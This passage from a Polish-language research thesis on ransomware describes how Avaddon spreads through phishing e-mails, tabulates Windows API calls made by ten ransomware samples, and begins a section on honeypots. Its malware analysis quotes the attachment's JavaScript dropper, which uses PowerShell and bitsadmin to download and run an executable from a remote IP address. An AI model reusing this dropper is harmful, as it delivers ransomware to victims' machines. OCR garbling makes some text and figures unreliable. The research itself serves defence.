oprogramowanie przewaznie rozprzestrzenia sie z wykorzystaniem tak zwanych kampanii
malware’owych (faza infiltracji). Tak jak to zostato wspomniane na poczatku dokumentu,
kampanie malware’owe Avaddon przewaznie korzystaty z phishingu e-mail. Tego typu
kampanie prowadzane byly poprzez rozsytanie wiadomosci e-mail zawierajgcych
zainfekowane zatgczniki. Zataczniki te zawieraty kod JavaScript lub makra oprogramowania
pakietu Microsoft Office. Nazwy oraz rozszerzenia zatgcznikdw, jednakze wskazywaty, ze sg
to obrazki (np. pliki w formacie JPG) albo pliki archiwum (np. ZIP). Préba otwarcia takiego

zatgcznika przewaznie konczyta sie infekcjg systemu.

= 3 Your new photo? - Message (Plain Text) 7?7 @ - 0O
MESSAGE
Fri 6/5/2020 12:41 AM
Billy Green <Billy73@3189.com>

Your new photo?

To 2 B ane B il e el e e g K B
TO  AAITg s i 3Rag i 845087 N,

Message { IMG123101.,jpg.js.zip (665 B)

0 See more about Billy Green.

Rysunek 22. Przykladowa wiadomos¢ email z kampanii Avaddon’a — zréodio www.bleepingcomputer.com

var jsRun=new ActiveXObject ('WSCRIPT.Shell');

JsRun.Run ("cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object
System.Net.WebClient) .DownloadFile ('http://217.8.117.63/<name>.exe’', 'Stemps\\ [0-
91{7}{8}{9}.exe");Start-Process '$temp%\\[0-9]1{7}{8}{9}.exe '",false);

jsRun.Run ("cmd.exe /c bitsadmin /transfer getitman /download /priority high
http://217.8.117.63/<name>.exe %

Kod zrédtowy 9. Przyktadowa zawartosc zatqgcznika email — kod JavaScript, ktdry pobiera na komputer ofiary,
a nastepnie uruchamia, wirusa Avaddon
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http://www.bleepingcomputer.com/

Widaé zatem, ze prdéba otwarcia zaftacznika z wiadomosci email powoduje wywotanie kodu

JavaScript, ktory:

e Uruchamia wiersz polecen system Windows.

e Wywotuje mechanizm PowerShell.

e Tworzy instancje klasy WebClient?®.

e Wykonuje zgdanie HTTP GET i pobiera dane ze wskazanego serwera.

e Uruchamia pobrany plik — wirusa Avaddon.

Inne sposoby rozprzestrzenia wirusa Avaddon opisane zostaty w poprzednich rozdziatach.

46 WebClient Klasa, .NET, Microsoft, https://learn.microsoft.com/pl-
pl/dotnet/api/system.net.webclient?view=net-7.0, (dostep 01.2022)
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IV Wywotania funkcji API

Jak widaé na przyktadzie opisanej powyzej analizie oprogramowania Avaddon, wywotania
funkcji API udostepnianych przez system Windows stanowig istotng czes¢ oprogramowania
ransomware. Oprogramowanie ransomware moze korzystac z udostepnionych przez system
operacyjny funkcji API, dlatego tez, celem okreslenia cech charakterystycznych tego typu

wirusow, przeprowadzone zostaty badania zwigzane z wywofaniami funkcji APl stuzgcymi do:

e Wykonywania operacji kryptograficznych - CryptoAPI.

e Wykonywania operacji na plikach i folderach - FileAPI.

e Wykonywania operacji sieciowych - NetworkAPI.

e Wykonywania operacji zwigzanych zobstugg watkdéw oraz proceséw -
ProcessThreadAPI.

e Wykonywania operacji zwigzanych zustawieniami systemu operacyjnego -
SystemSettingsAPI.

e Wykonywania nietypowych operacji - UnusualAPI.

Badania przeprowadzone zostaty z wykorzystaniem nastepujgcych wersji oprogramowania

ransomware:

e AvoslLocker?’
e BlackMatter®®
e Cuba®

e Dharma*®

e DoejoCrypt>!
e Epsilon>?

e HDLocker>?

e Jormungad®

47 AvosLocker, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker
48 BlackMatter, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter
49 Cuba, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba

50 Dharma, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma

5! DoejoCrypt, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry

52 Epsilon red, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red
53 HDLocker, TrendMicro, https://www.trendmicro.com/vinfo/hk/threat-
encyclopedia/malware/ransom.win32.hdlocker.a/

4 Jormungand, TrendMicro, https://www.trendmicro.com/vinfo/us/threat-
encyclopedia/malware/ransom.win32.jormungand.thdabba/
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e MalwareDeveloper®>

e Maoloa®

55 MalwareDeveloper,
https://www.virustotal.com/gui/file/c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaal38/
detection

6 Maoloa, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa
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IV.1 Srodowisko testowe

Badania cech charakterystycznych oprogramowania ransomware w kontekscie
wywotywanych funkcji APl systemu Windows przeprowadzone zostato w jednolitym
Srodowisku testowym. Kazda probka ransomware testowana byta na tej samej instancji stacji
testowej. Po zakonczeniu testow danej prébki i przed testami kolejnej, stan stacji testowej

przywracany byt do stanu poczatkowego (zawartos¢ dysku, ustawienia systemowe, itp.).

Ponizsza tabela prezentuje licznos¢ plikow okreslonego rodzaju - stan poczatkowy dysku

stacji testowej. W tabeli uwzgledniono typy plikdw, ktorych licznos¢ byta wieksza od 190.

= | 5| 2 |8 & |§| & |§|&g| &
- -l = - = - - -l - -l
dll 59140 | .cdf-ms | 2297 | .cmake | 966 | .pkgdef 556 .cov 308
.manifest | 36424 | .xrm-ms | 2294 .CSS 957 .sql 550 .data 303
.html 35068 .pri 2275 | .pslxml | 935 At 498 Jar 301
.pyi 27727 .SYys 2001 .psl 880 tlb 491 .msc 296
.mui 24626 " 1963 .slic 821 gif 471 .pf 272
.cat 18968 .idl 1908 fsm 821 toml 431 .wav 267
.vstempla
.mum 16282 .rst 1878 te 804 .mun 430 A1 266
.h 11777 .mfl 1864 .0 791 | .targets 420 .CS 250
xml 10689 .INI 1799 .SVg 763 ril 414 Xbf 247
.png 9479 xt 1781 | .winmd | 760 .dat 399 .resx 239
.exe 6336 | .inf_loc | 1519 xsd 759 .admx 389 .obj 226
.Js 6040 .cpp 1444 .psdl 686 .fon 384 .vbs 223
ib 5039 | .cdxml | 1433 .md 673 .cur 377 .50 223
.py 4884 .mof 1388 .man 670 .pdb 367 | .nupkg 221
tmp 4513 Xaml 1306 .tlog 665 .nls 354 | .woff2 221
.tmSni

rtf 3584 .htm 1281 .pak 661 .C 352 ppet 204
.json 3192 .S8 1267 | .config | 635 .props 333 .inl 203
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.nuspe
.pyc 3088 .aux 1264 .ico 610 .evtx 330 C 199
.inf 2460 | .snippet | 1154 .bin 598 .map 330 log 198

.adml 2340 s 1093 Atf 585 .psml 315 .PNF 195

Sumarycznie na dyskach stacji testowej znajdowato

typow plikow).

sie 402 365 plikéw (32 184 réznych

Stacja testowa dziata pod kontrolg systemu operacyjnego Windows 10 Home, 19045.3570.

Ponizsza tabela prezentuje licznos¢ plikow dla typow najczesciej szyfrowanych w atakach

ransomware.
2 2 2 |32 2 |3 £ | 3| 2| 3
= o = o =3 o = o = 2
= k) = | 8 = | 8 = k) = k)
- | [ =] - [ =] -l - - - -l
dll 59140 .SYys 2001 .sql 550 .Zip 15 .proj 2
.html 35068 xt 1781 .gif 471 .conf 15 .jpeg 1
xml 10689 .cpp 1444 .C 352 .doc 15
.png 9479 .htm 1281 .jpg 186 Xls
.Js 6040 .CSS 957 .pdf 27 .bak 4
.py 4884 | .config | 635 .sln 27 .docx

118




IV.2 Wyniki testow

W niniejszym rozdziale przedstawione zostaty wyniki testéow wywotan wybranych funkcji APl systemu Windows.

IV.2.1 CryptoAPI

S
)
o
9
)
. & o o
S s S - ® a
o E £ (© ] [ % c © o
7', - © fe .9. 2 o 3 ; -
Funkeja S 8 | 8 | 2 g | % | B E | & 2
< o O o o w T 2 = =
CryptAcquireContextAlndex
) 3271 0 2 0 0 1 0 1 1 79665
CryptAcquireContextWIndex
CryptDestroyKeylndex 1609 0 0 0 0 0 0 0 0 0
CryptEncryptindex 3218 0 0 0 0 0 0 0 0 0
CryptReleaseContextindex 1663 0 2 0 0 0 0 0 0 79666
BCryptDestroyKeylndex 1609 0 0 0 0 0 0 0 0 0
BCryptEncryptindex 1609 0 0 0 0 0 0 0 0 0
BCryptimportKeyPairlndex 1609 0 0 0 0 0 0 0 0 0
RAZEM | 14588 0 4 0 0 1 0 1 1 159331
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IV.2.2 FileAPI

GetlogicalDriveStringsWindex
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. ] - m© - A= ° o g 3 o
Funkcja o S 2 o ] a a s - -
=3 o O a a w T S = S
CreateFileWIndex
) 8953 187253 | 97429 462755 197243 62301 46459 324152 1657 78232
CreateFileAIndex
DeleteFileWIndex
] 0 0 0 121853 45983 0 0 0 824 0
DeleteFileAlndex
FindCloselndex 5735 7610 19575 66868 64949 48235 39113 153473 30 15783
FindFirstFileWIndex
) ] ) 5741 9 19583 66983 64945 48271 39124 190980 32 15784
FindFirstFileAlndex
GetFileSizelndex
o 0 0 67115 164773 0 31153 37660 0 7 49628
GetFileSizeExIndex
FindFirstFileExWIndex 0 7602 0 0 0 0 0 0 0 0
GetFileAttributesWIindex
GetFileAttributesAlndex 0 15204 0 317452 45984 30993 0 669793 47 1
GetFileAttributesExWIndex
GetlogicalDrivesindex 1 3 0 2611 0 0 1 1 0 0
GetLogicalDriveStringsAlndex
0 0 0 0 0 0 1 0 0 1
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GetFullPathNameWIndex 0 0 0 0 0 344873 6 0 5033 0
GetTempPathAlndex 0 0 0 0 0 0 6 0 0 0
ReadFileindex | 7623381 | 120047 | 69283 254534 | 194008 31150 42848 66724 1761 11342
SetEndOfFilelndex 0 0 0 246917 0 0 37660 0 0 0
SetFileAttributesWIindex 0 129534 1 125137 0 0 0 0 0 69
SetFilePointerIndex
) ) 7623195 64767 67832 423267 | 214944 0 198233 66724 0 0
SetFilePointerExIndex
FindNextFileWIndex
) ] 84639 108897 | 171399 | 556459 152608 | 425024 | 328246 | 975047 2207 148002
FindNextFileAlndex
FindNextVolumeWIndex 4 4
FindVolumeCloselndex
GetVolumelnformationWIndex 0 0
GetVolumePathNamesForVolu
0 4 4 0 0 0 0 0 0 4
meNameWIndex
MoveFileAIndex
MoveFileWIndex 1560 64767 66228 3961 0 30934 37659 68967 0 76902

MoveFileExWIndex
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WriteFileIndex | 7640524 | 118525 | 149056 | 257754 | 263202 30934 117726 131542 990 1
CopyFileWIndex 0 7599 0 0 0 0 0 0 0 45343
GetFileTypelndex 1600 0 0 0 184388 | 124164 0 66724 3298 0
SetVolumeMountPointWIndex 0 1 0 0 0 0 0 0 0 4
FindFirstVolumeWIndex 0 1 1 0 0 0 0 0 0 1
RAZEM | 22995329 | 831828 | 727510 | 3071332 | 1428254 | 1208032 | 924742 | 2714127 | 15886 441102
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IV.2.3 NetworkAPI
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WNetOpenEnumAIlndex
4 0 0 8 0 0 0 0 0 0
WNetOpenEnumWIndex
WNetEnumResourceAlndex
8 0 0 11 0 0 0 0 0 0
WNetEnumResourceWIndex
WNetCloseEnumIndex 0 0 0 0 0 0 0 0
DsGetDcNameWIndex 1 0 0 0 0 0 0 0
InternetOpenWIndex 1 0 0 0 0 0 0 0
RAZEM 12 2 0 26 0 0 0 0 0 0
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IV.2.4 ProcessThreadAPI
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CreateThreadIndex 3 27 4 51 0 6 201 13 2 4
ExitThreadIndex 4 33 8 49 3 10 0 3 6 9
SetThreadPrioritylndex 0 20 0 0 0 0 0 0 0 0
GetExitCodeThreadIndex 0 7 0 0 0 0 0 0 0
GetProcessHeaplndex 1 0 0 0 1434 160090 0 11636 0
Process32FirstWIndex 0 0 0 557 0 0 0 0 0 0
Process32NextWIndex 0 0 0 77141 0 0 0 0 0 0
OpenProcessindex 10 0 1225 0 0 0 0 0 0 0
GetThreadContextindex 0 0 0 0 0 691 0 0 66 0
GetThreadPrioritylndex 0 0 0 0 0 3734 0 0 2520 0
GetCurrentThreadlndex 6554 129573 6 13 0 98 11 2 104 186560
GetCurrentProcessindex 8477 67746 6 6 0 1620 19 45 381 194520
GetCurrentProcessldindex 4807 132 0 0 49 4 0 18 172910
OpenProcessTokenIindex | 6543 57716 4 1 0 27 17 31 0
CreateProcessWIndex
0 0 0 1 0 0 0 42 0 1

CreateProcessAlndex
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CreateRemoteThreadExIndex 3 27 4 51 0 6 201 13 2 4
DeleteProcThreadAttributelistindex 8952 187261 97434 462344 197227 62324 46471 324157 1681 54253
FlushlnstructionCachelndex 0 0 0 0 1572 0 0 347 0
FlushProcessWriteBuffersindex 0 0 0 0 0 3737 0 0 2519 0
GetCurrentProcessorNumberindex | 12914 139 2440 4518 0 33 2 4 9066 26
GetExitCodeProcessindex 0 0 0 0 0 0 0 0 0 1
GetCurrentProcessorNumberExIndex 9135 12 4 0 0 31156 0 1 0 159286
GetProcessTimeslndex 1594 0 0 0 0 0 0 1 0 0
GetProcessVersionindex 0 0 0 0 0 0 1 0 0 0
OpenThreadTokenIndex | 6548 129541 4 8 0 43 10 2 54 186552
SetPriorityClassindex 0 0 0 0 0 0 0 0 0 1
ProcessldToSessionldIndex 3209 1 0 0 0 2 2 0 14 0
ResumeThreadlndex 0 8 0 0 0 324 0 0 26 0
SetThreadContextindex 0 0 0 0 0 51 0 0 16 0
SetThreadStackGuaranteelndex 0 0 0 0 0 4 0 0 1 0
SuspendThreadindex 0 0 0 0 0 320 0 0 25 0
SwitchToThreadlndex 0 0 0 0 0 2726 0 856 122 0
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SetThreadTokenlndex 0 7054 0 0 0 0 0 0 0 0
TIsAllocIndex 0 0 0 0 0 1 2 0 0 0
TIsGetValuelndex 3220 2226 0 0 971206 998 983 22 35 0
TIsSetValuelndex 2 363 0 0 0 83 5 1 8 0

RAZEM | 71976 581886 | 101139 | 544746 | 1168436 | 111049 | 208019 | 325165 28680 954127
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IV.2.5 SystemSettingsAPI
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GetEnvironmentStringsWIindex 0 0 0 0 0 0 1 42 0 0
GetEnvironmentVariableWIndex 0 0 0 0 0 0 0 171 0 0
FreeEnvironmentStringsWindex 0 0 0 0 0 0 1 42 0 0
GetSystemTimeAsFileTimelndex | 4817 1 0 0 257752 0 1 0 0 0
GetDiskFreeSpaceExWIndex 0 0 4 0 0 0 0 0 0
GetComputerNameWIndex
0 0 0 1 0 0 0 1 0 0
GetComputerNameExWIndex
ExpandEnvironmentStringsWind
0 0 0 20 0 0 0 0 0 0
ex
GetStartuplnfoWIndex 0 0 0 0 0 2 2 0 0 0
GetSystemInfolndex 0 0 0 0 0 5 0 0 1
GetNativeSystemInfolndex 0 0 0 0 0 4 0 0 12 0
GetTickCountindex 0 1 1108 8669 0 3151 1 0 2492 0
GetTickCount64Index 0 0 0 0 0 99 0 0 1651 0
GlobalMemoryStatusExIindex 0 0 0 0 0 3804 0 0 594 0
GetVersionIndex 0 0 0 0 0 0 2 1 0 0
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GetWindowsDirectoryAlndex 0 0 0 0 0 0 6 0 0
RegSetValueExWIndex 7960 2 0 1 0 0 0 8
RegCloseKeyIndex | 23984 0 0 4 0 4 0 0 6
RegOpenKeyExWIndex 0 0 0 4 0 16 0 0 42 0
RegCreateKeyExWIndex | 23979 3 0 0 0 0 0 0 0
RegDeleteKeyWIndex 1609 1 0 0 0 0 0 0 6
RegDeleteValueWIndex 8045 0 0 0 0 0 0 0 0
RegEnumValueWIndex 8045 0 0 0 0 0 0 0 78 0
RegQuerylnfoKeyWIndex 1609 0 0 0 0 0 0 0 0 0
RegQueryMultipleValuesWIindex 1 0 0 0 0 0 0 0 0 0
RegQueryValueExWindex | 27215 2 0 3 0 3 0 0 2 0
RAZEM | 107264 10 1112 8702 257752 7089 14 257 4876 21
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IV.2.6 UnusualAPI
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LoadLibraryAlndex
LoadLibraryWIndex 0 12 0 0 0 18 11 4 23 1
LoadLibraryExWIndex
GetProcAddressindex 1 4 0 81 0 249 363 34 154 1
AdjustTokenPrivilegesindex 0 0 0 0 0 0 0 0 0 4
GetLocaleInfoWIndex 0 0 0 0 0 1 0 0 0 0
IsProcessorFeaturePresentindex 0 0 0 0 0 1 2 0 1 0
IsValidLocalelndex 0 0 0 0 0 3 0 0 2 0
IsValidCodePagelndex 0 0 0 0 0 0 1 0 0 0
GetCommandLineAlndex
] 0 0 0 0 0 0 1 1 0 0
GetCommandLineWIndex
SetUnhandledExceptionFilterind
0 0 0 0 0 0 1 0 0 0
ex
RAZEM 1 16 0 81 0 272 379 39 180 6
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IV.2.7 Podsumowanie iloSciowe

S
)
o
o
g
S
¥ £ = 5 g 2
o P g (&) c f, c ; 8
- <] <) =] o
APl s s g £ 2 z | 2 £ s 2
= o O o a w T L4 S S
CryptoAPI 14588 0 4 0 0 1 0 1 1 159331
FileAPl | 22995329 831828 727510 3071332 1428254 1208032 924760 2714127 15886 441102
NetworkAPI 15 2 0 26 0 0 0 0 0
ProcessThreadAPI 71976 581886 101139 544746 1168436 111049 208019 325165 28680 954101
SystemSettingsAPI 107264 10 1112 8702 257752 7089 14 257 4876 21
UnusualAPI 1 16 0 81 0 272 379 39 180 6
RAZEM | 23189173 | 1413742 829765 3624887 2854442 1326443 1133172 3039589 49623 1554561
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IV.3 Analiza uzyskanych wynikéw
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API Funkcja N = = = S S ¥
FileAPI GetFileAttributesExWIndex 40 1 669793 175197 15496.5 35 1
FileAPI GetlLogicalDrivesindex 40 1 2611 654 1 1 Il
FileAPI MoveFileExWIndex 40 64767 76902 69216 67597.5 66228 1
FileAPI SetFileAttributesWIindex 40 1 129534 63685 62603 69 1
FileAPI SetFilePointerExIndex 40 64767 423267 155648 67278 66724 1
SystemSettingsAPI GetSystemTimeAsFileTimelndex 40 1 257752 65643 2409 1 1]
UnusualAPI LoadLibraryExWIndex 40 1 23 12 11 4 Il
CryptoAPI CryptReleaseContextindex 30 2 79666 27110 1663 1663 Il
FileAPI FindFirstVolumeWIndex 30 1 1 1 1 1 Il
FileAPI FindNextVolumeWIndex 30 4 4 4 4 4 Il
FileAPI GetFileSizeExIndex 30 49628 164773 93839 67115 67115 1
FileAPI GetFileSizelndex 30 7 37660 22940 31153 31153 1
FileAPI GetFullPathNameWIndex 30 6 344873 116637 5033 5033 1
GetVolumePathNamesForVolumeNa Il

FileAPI meWIndex 30 4 4 4 4 4
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FileAPI MoveFileWIndex 30 1560 30934 12152 3961 3961 1]
FileAPI SetFilePointerIindex 30 198233 7623195 | 2678791 214944 214944 1]
ProcessThreadAPI ResumeThreadlndex 30 8 324 119 26 26 1]
ProcessThreadAPI SwitchToThreadIlndex 30 122 2726 1235 856 856 1
SystemSettingsAPI GetSysteminfolndex 30 1 5 3 2 2 Il
SystemSettingsAPI RegOpenKeyExWIndex 30 4 42 21 16 16 1]
UnusualAPI IsProcessorFeaturePresentindex 30 1 2 1 1 1 1|
FileAPI CopyFileWIndex 20 7599 45343 26471 26471 7599 v
FileAPI CreateFileAlndex 20 46459 197243 121851 121851 46459 v
FileAPI DeleteFileWIndex 20 824 121853 61339 61338.5 824 v
FileAPI FindFirstFileAlndex 20 39118 64945 52032 52031.5 39118 v
FileAPI FindNextFileAlndex 20 152608 328169 240389 | 240388.5 | 152608 v
FileAPI FindVolumeCloselndex 20 1 1 1 1 1 IV
FileAPI GetlLogicalDriveStringsWIindex 20 1 3 2 2 1 v
FileAPI SetEndOfFilelndex 20 37660 246917 142289 | 142288.5 37660 v
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FileAPI SetVolumeMountPointWIndex 20 1 4 3 2.maj 1 v
NetworkAPI WNetCloseEnumIndex 20 3 7 5 5 3 v
NetworkAPI WNetEnumResourceWIndex 20 4 11 8 7.maj 4 v
NetworkAPI WNetOpenEnumWIndex 20 2 8 5 5 2 v
ProcessThreadAPI CreateProcessWIindex 20 1 42 22 21.maj 1 v
ProcessThreadAPI FlushinstructionCachelndex 20 347 1572 960 959.5 347 v
ProcessThreadAPI FlushProcessWriteBuffersindex 20 2519 3737 3128 3128 2519 v
ProcessThreadAPI GetExitCodeProcessindex 20 1 1 1 1 1 v
ProcessThreadAPI GetProcessTimesIndex 20 1 1594 798 797.5 1 v
ProcessThreadAPI GetThreadContextindex 20 66 691 379 378.5 66 v
ProcessThreadAPI GetThreadPrioritylndex 20 2520 3734 3127 3127 2520 v
ProcessThreadAPI OpenProcessindex 20 10 1225 618 617.5 10 v
ProcessThreadAPI SetThreadContextindex 20 16 51 34 335 16 v
ProcessThreadAPI SetThreadStackGuaranteelndex 20 1 4 3 2.maj 1 v
ProcessThreadAPI SuspendThreadindex 20 25 320 173 172.5 25 v
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ProcessThreadAPI TlsAllocIndex 20 1 2 2 1.maj 1 v
SystemSettingsAPI FreeEnvironmentStringsWIindex 20 1 42 22 21.maj 1 v
SystemSettingsAPI GetEnvironmentStringsWIindex 20 1 42 22 21.maj 1 v
SystemSettingsAPI GetNativeSystemInfolndex 20 4 12 8 8 4 v
SystemSettingsAPI GetStartupIinfoWIndex 20 2 2 2 2 2 v
SystemSettingsAPI GetTickCount64Index 20 99 1651 875 875 99 v
SystemSettingsAPI GetVersionIndex 20 1 2 2 1.maj 1 v
SystemSettingsAPI GlobalMemoryStatusExIndex 20 594 3804 2199 2199 594 v
SystemSettingsAPI RegCreateKeyExWIndex 20 3 23979 11991 11991 3 v
SystemSettingsAPI RegEnumValueWIndex 20 78 8045 4062 4061.5 78 v
UnusualAPI IsValidLocalelndex 20 2 3 3 2.maj 2 v
UnusualAPI LoadLibraryAlndex 20 4 11 8 7.maj 4 v
CryptoAPI BCryptDestroyKeylndex 10 1609 1609 1609 1609 1609 v
CryptoAPI BCryptEncryptindex 10 1609 1609 1609 1609 1609 v
CryptoAPI BCryptimportKeyPairlndex 10 1609 1609 1609 1609 1609 v
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CryptoAPI CryptAcquireContextAlndex 10 3271 3271 3271 3271 3271 v
CryptoAPI CryptDestroyKeylndex 10 1609 1609 1609 1609 1609 v
CryptoAPI CryptEncryptindex 10 3218 3218 3218 3218 3218 v
FileAPI DeleteFileAlndex 10 45983 45983 45983 45983 45983 v
FileAPI FindFirstFileExXWIndex 10 7602 7602 7602 7602 7602 v
FileAPI GetFileAttributesAlndex 10 45984 45984 45984 45984 45984 v
FileAPI GetlogicalDriveStringsAlndex 10 1 1 1 1 1 v
FileAPI GetTempPathAlndex 10 6 6 6 6 6 v
FileAPI GetVolumelnformationWIndex 10 8 8 8 8 8 IV
FileAPI MoveFileAlIndex 10 37659 37659 37659 37659 37659 v
NetworkAPI DsGetDcNameWIndex 10 1 1 1 1 1 IV
NetworkAPI InternetOpenWIndex 10 1 1 1 1 1 v
NetworkAPI WNetEnumResourceAlndex 10 4 4 4 4 4 IV
NetworkAPI WNetOpenEnumAIlndex 10 2 2 2 2 2 v
ProcessThreadAPI CreateProcessAlndex 10 1 1 1 1 1 Y]
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ProcessThreadAPI GetExitCodeThreadlndex 10 7 7 7 7 7 vV
ProcessThreadAPI GetProcessVersionindex 10 1 1 1 1 1 v
ProcessThreadAPI Process32FirstWindex 10 557 557 557 557 557 v
ProcessThreadAPI Process32NextWIndex 10 77141 77141 77141 77141 77141 v
ProcessThreadAPI SetPriorityClassindex 10 1 1 1 1 1 v
ProcessThreadAPI SetThreadPrioritylndex 10 20 20 20 20 20 v
ProcessThreadAPI SetThreadTokenIndex 10 7054 7054 7054 7054 7054 v
SystemSettingsAPl | ExpandEnvironmentStringsWindex 10 20 20 20 20 20 v
SystemSettingsAPI GetComputerNameExWIndex 10 1 1 1 1 1 v
SystemSettingsAPI GetComputerNameWIndex 10 v
SystemSettingsAPI GetDiskFreeSpaceExWIndex 10 4 4 4 4 4 v
SystemSettingsAPI GetEnvironmentVariableWIndex 10 171 171 171 171 171 v
SystemSettingsAPI GetWindowsDirectoryAlndex 10 v
SystemSettingsAPI RegCreateKeyWIndex 10 v
SystemSettingsAPI RegDeleteKeyExWIndex 10 v
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SystemSettingsAPI RegDeleteKeyWIndex 10 1609 1609 1609 1609 1609 v
SystemSettingsAPI RegDeleteValueWIndex 10 8045 8045 8045 8045 8045 v
SystemSettingsAPI RegQuerylnfoKeyWIndex 10 1609 1609 1609 1609 1609 v
SystemSettingsAPI RegQueryMultipleValuesWIndex 10 1 1 1 1 1 v
UnusualAPI AdjustTokenPrivilegesindex 10 4 4 4 4 4 v
UnusualAPI GetCommandLineAlndex 10 1 1 1 1 1 vV
UnusualAPI GetCommandLineWIndex 10 1 1 1 1 1 vV
UnusualAPI GetlLocalelnfoWIndex 10 1 1 1 1 1 vV
UnusualAPI IsValidCodePagelndex 10 1 1 1 1 1 v
UnusualAPI LoadLibraryWIndex 10 8 8 8 8 8 v
UnusualAPI SetUnhandledExceptionFilterindex 10 1 1 1 1 1 v




IV.3.1 Podziat na kategorie ze wzgledu na czesto$¢ wywotan

Analizujgc uzyskane wyniki dla poszczegdlnych prébek ransomware, jak réwniez ich

zbiorcze zestawienie, funkcje API podzielone zostaty na cztery kategorie:

Kategoria |- funkcje APl wywotywane przez 80%-100% analizowanych probek
ransomware. Funkcje te zostaty w powyzszej tabeli oznaczone kolorem
Kategoria Il — funkcje APl wywotywane przez 50%-70% analizowanych probek
ransomware. Funkcje te zostaty w powyzszej tabeli oznaczone kolorem
Kategoria Ill — funkcje APl wywotywane przez 30%-40% analizowanych probek
ransomware. Funkcje te zostaty w powyzszej tabeli oznaczone kolorem
Kategoria IV — funkcje APl wywotywane mniej niz 30% analizowanych probek

ransomware.

IV.3.2 Podziat na kategorie ze wzgledu na istotnosé

Podziat ze wzgledu naistotnos¢ ma na celu kategoryzacje funkcji APl w odniesieniu do

mozliwosci ich wykorzystania w oprogramowaniu typu ransomware. W podziale tym

wyroznione zostaty nastepujace kategorie:

140

Kategoria A — funkcje API niebezpieczne, ktorych pojedyncze wywotania moga
generowac zagrozenia dla pracy systemu operacyjnego, uruchomionych proceséw,
danych uzytkownika.

Kategoria B — funkcje APl potencjalnie niebezpieczne, ktérych wieksza liczba
wywotan moze generowaé zagrozenia dla pracy systemu operacyjnego,
uruchomionych proceséw, danych uzytkownika.

Kategoria C — funkcje APl ogdlnego przeznaczenia



V Putapki typu honeypot
V.1 Definicja honeypot

Honeypot®’ to rodzaj narzedzia lub technologii stosowanej w dziedzinie bezpieczeristwa
informatycznego, ktére ma nacelu przycigganie iidentyfikacje potencjalnych atakéw
na systemy komputerowe lub sieci komputerowe. Honeypot jest wirtualng lub fizyczng
"pufapka", ktéra udaje stabe lub niewfasciwie zabezpieczone zasoby, takie jak serwery,
routery, bazy danych lubinne komponenty infrastruktury IT. Atakujacy prébujgcy wykryé
stabe punkty w systemach, sg przyciggani do honeypot'u, podczas gdy administratorzy

systemOw monitorujg i analizujg ich dziatania. Mechanizm honeypot umozliwia zatem:

e Monitorowanie atakéw - pozwala na zbieranie informacji na temat rodzaju atakdw,
technik i narzedzi wykorzystywanych przez potencjalnych przeciwnikéw.

e Zbieranie dowoddéw - honeypot moze stuzyé jako zrédto dowodéw przy dochodzeniach
w przypadku naruszen bezpieczenstwa.

e Wzmocnienie ochrony - analiza dziatan w honeypocie moze pomdc w doskonaleniu

zabezpieczen systemow produkcyjnych, eliminujgc potencjalne luki i stabe punkty.

Honeypot'y mozna podzielié nakilka podstawowych rodzajéw w zaleznosci odich

zastosowania i cech:

e Honeypot ogdlnego przeznaczenia.
e Honeypot interaktywny.
e Honeypot naruszen.

e Inne.

Istnieje wiele narzedzi i rozwigzan do implementacji honeypot'éw, ktore sg uzywane do

ochrony systemoéw teleinformatycznych przed atakami i zbierania informacji o zagrozeniach.

Niektoére zrodta wskazujg, ze okreslenie honeypot pochodzi ze swiata szpiegostwa, gdzie
szpiedzy w stylu Mata Hari wykorzystywali romantyczne zwigzki jako sposob na kradziez
tajemnic. Czesto zdarzato sie tak, ze szpiedzy przeciwnika byli kompromitowani w ten
romantyczny sposob, a nastepnie byli zmuszani do ujawniania posiadanych przez siebie

tajemnic. W kontekscie bezpieczeristwa komputerowego putapka typu honeypot dziata

57 Honeypot (computing), Wikipedia, https://en.wikipedia.org/wiki/Honeypot_(computing), (dostep 12.2022)
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w podobny sposéb. W ogdlnym przypadku jest to dedykowany zaséb komputerowy, ktéry ma
przyciggaé cyberataki — stanowi swego rodzaju przynete na cyberprzestepcéw. Wazne jest,
aby zasdb ten byt mozliwie identyczny inieodrdznialny od innych, rzeczywistych zasobéw
pracujgcych w atakowanym ekosystemie. Stosowanie putapek typu honeypot ma trzy

zasadnicze cele:

e Wykrywanie atakéw cybernetycznych na dany ekosystem.
e Zdobycie informacji o narzedziach oraz sposobie dziatania cyberprzestepcéw.

e Odwrdcenie uwagi cyberprzestepcéw od rzeczywistych zasobdw danego ekosystemu.

Puftapka honeypot, zeby byfa skuteczna, musi mozliwie wiernie odwzorowywac oraz
przypominac rzeczywisty zaséb komputerowy, ktéry moze zostaé w danym ekosystemie
zaatakowany. Cyberprzestepcy muszg mysleé, ze atakujg prawdziwy cel. Na przykfad, putapka
typu honeypot moze imitowac system fakturowy, ktéry, z uwagi na przechowywanie danych
wrazliwych, jest czestym celem atakdw cyberprzestepcow. Niektdre putapki typu honeypot sg
dodatkowo konfigurowane w taki sposéb, aby mogty staé sie fatwiejszym celem atakéw — np.
opdzniana jest instalacja krytycznych aktualizacji oprogramowania. Innym tego typu
przyktadem sg otwarte porty na serwerach albo stabe hasta w swiadczonych w Internecie
ustugach. Pewne porty moga by¢ pozostawione otwarte, aby zacheci¢ napastnikdéw do wejscia

do $rodowiska honeypot.

Celem klasycznych pufapek typu honeypot nie jest rozwigzanie jakiego$ konkretnego,
w petni zdefiniowanego problemu. Cel putapek typu honeypot jest raczej informacyjny i ma
pomoc w zrozumieniu istniejgcych zagrozen iwykryciu nowych. Dzieki informacjom
uzyskanym z putapek typu honeypot mozna okresli¢ polityki oraz zasady dziatania w zakresie

bezpieczenstwa.

Istniejg rozne typy putapek honeypot. Typy te mogg by¢ wykorzystywane do identyfikacji
réznych rodzajow zagrozen. Przyktadowo putapki honeypot e-mailowe lub pufapki honeypot
spam'owe umieszczajg fatszywe adresy e-mail w ukrytych miejscach, w ktorych tylko
automaty analizujace tres¢ sg w stanie je odnalezé. Poniewaz adresy te nie sg wykorzystywane
